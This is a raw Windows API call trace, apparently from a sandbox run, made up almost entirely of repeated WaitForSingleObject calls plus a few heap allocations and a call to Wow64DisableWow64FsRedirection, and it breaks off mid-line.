[0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.076] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.077] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.078] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.079] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.080] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.081] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.082] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.083] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.084] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.085] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.086] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.087] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.088] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.090] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.091] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.092] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.093] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.094] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.095] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.096] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.097] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.098] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.098] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.098] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 107 os_tid = 0x6fc [0275.103] GetProcessHeap () returned 0xaf0000 [0275.103] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3631210 [0275.104] GetProcessHeap () returned 0xaf0000 [0275.104] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3641218 [0275.104] GetProcessHeap () returned 0xaf0000 [0275.104] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xbd82a0 [0275.104] GetProcessHeap () returned 0xaf0000 [0275.104] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x110102) returned 0x3935020 [0275.108] GetProcessHeap () returned 0xaf0000 [0275.108] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0275.108] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0275.108] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0275.108] Wow64DisableWow64FsRedirection (in: OldValue=0x34cfde4 | out: OldValue=0x34cfde4*=0x0) returned 1 [0275.108] GetProcessHeap () returned 0xaf0000 [0275.108] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0275.108] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.108] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.108] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.108] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.108] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.109] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.110] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.111] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.112] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.113] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.114] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.115] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.116] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0xffffffff) returned 0x0 [0275.117] 